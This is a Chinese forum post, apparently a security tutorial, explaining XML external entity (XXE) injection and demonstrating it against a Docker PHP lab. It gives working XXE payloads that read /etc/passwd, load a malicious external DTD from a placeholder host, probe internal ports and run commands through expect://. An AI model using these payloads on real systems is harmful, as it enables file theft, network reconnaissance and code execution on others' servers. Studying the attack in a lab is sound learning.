找回密码
 立即注册

QQ登录

只需一步,快速开始

原理:XML外部实体注入,简称XXE漏洞,XML数据在传输中数据被修改,服务器执行被恶意插入的代码。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
XML简介:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明,DTD文档类型定义,文档元素。
DTD(文档类型定义):
1)内部声明:
语法:<!DOCTYPE 根元素[元素声明]>
示例:
<?xml version="1.0"?>
<font color="#ff0000"><!DOCTYPE note [</font>
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
<font color="#ff0000">]></font>
<note>
  <to>John</to>
</note>

2)外部声明:
语法:<!DOCTYPE 根元素 SYSTEM "文件名">
示例:
<?xml version="1.0"?>
<font color="#ff0000"><!DOCTYPE note SYSTEM "note.dtd"></font>
<note>
<to>John</to>
</note>
note.dtd文件内容:
<!ELEMENT note (to,<font color="#0000ff">from</font>,heading,body)>
<!ELEMENT to (#PCDATA)>

DTD实体:
1)内部实体声明:
语法:<!ENTITY 实体名称,“实体值”>
示例:
<?xml version="1.0"?>
<!DOCTYPE test [
<font color="#ff0000"><!ENTITY writer "Bill Gates"></font>
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&<font color="#ff0000">writer</font>;©right;</test>

2)外部实体声明:
语法:<!ENTITY 实体名称 SYSTEM “URI”>
示例:
<?xml version="1.0"?>
<!DOCTYPE test [
<font color="#ff0000"><!ENTITY writer SYSTEM "http://www.xxx.com/dtd/note.dtd">
]></font>
<author>&<font color="#ff0000">writer</font>;</author>


漏洞利用方法:
1)直接通过DTD外部实体声明:
[size=1em]
1

2

3

4

5





<?xml version="1.0"?>
<!DOCTYPE a [
     <!ENTITY b SYSTEM “file:///etc/passwd”>
]>
<c>&b;</c>

2)通过DTD文档引入外部DTD文档,再引入外部实体声明
[size=1em]
1

2

3

4

5

6

7





<?xml version="1.0"?>
<!DOCTYPE c SYSTEM “http://www.xxx.com/evil.dtd”>
<c>&b;</c>


DTD文件内容:
<!ENTITY b SYSTEM "file:///etc/paswd">

3)通过DTD外部实体声明引入外部实体声明  
[size=1em]
1

2

3

4

5

6

7

8

9

10






<?xml version="1.0"?>
<!DOCTYPE a [
     <!ENTITY % d SYSTEM “http://www.xxx.com/evil.dtd”>
     %d;
]>
<c>&b;</c>


DTD文件内容:
<!ENTITY b SYSTEM “file:///etc/passwd”>  

示例:docker中的php_xxe模块示例
php中的libxml2.9.0以后,就默认不解析外部实体了,docker环境启动后,可以看到phpinfo页面显示的libxml版本。
1348572-20181224105815264-76455169.png
该环境下www目录下有四个文件
1348572-20181224114923026-117514717.png
除了index.php外,其他文件我们都可以利用xxe漏洞来读取文件等操作。
打开dom.php
1348572-20181224115041908-2131337643.png
抓包,然后发送到repeater:
1.读取文件:
[size=1em]
1

2

3

4

5

6

7





<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

1348572-20181224115341228-1631379645.png
2.扫描端口
通过返回不同字段来判断是否开启了端口。
1348572-20181224120639781-1579967871.png
1348572-20181224120658070-1687090801.png
1348572-20181224120712587-1180664448.png

3.远程代码执行
这种漏洞需要特定的条件才能触发,当PHP expect模块被加载到了有xxe漏洞的系统或者xml的内部应用程序上,我们就可以进行远程代码执行了
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

[size=1em]
1

2

3

4

5

6

7





1348572-20181224105815264-76455169.png
1348572-20181224114923026-117514717.png
1348572-20181224115041908-2131337643.png
1348572-20181224115341228-1631379645.png
1348572-20181224120639781-1579967871.png
1348572-20181224120658070-1687090801.png
1348572-20181224120712587-1180664448.png
分享至 : QQ空间
收藏

7 个回复

倒序浏览
您需要登录后才可以回帖 登录 | 立即注册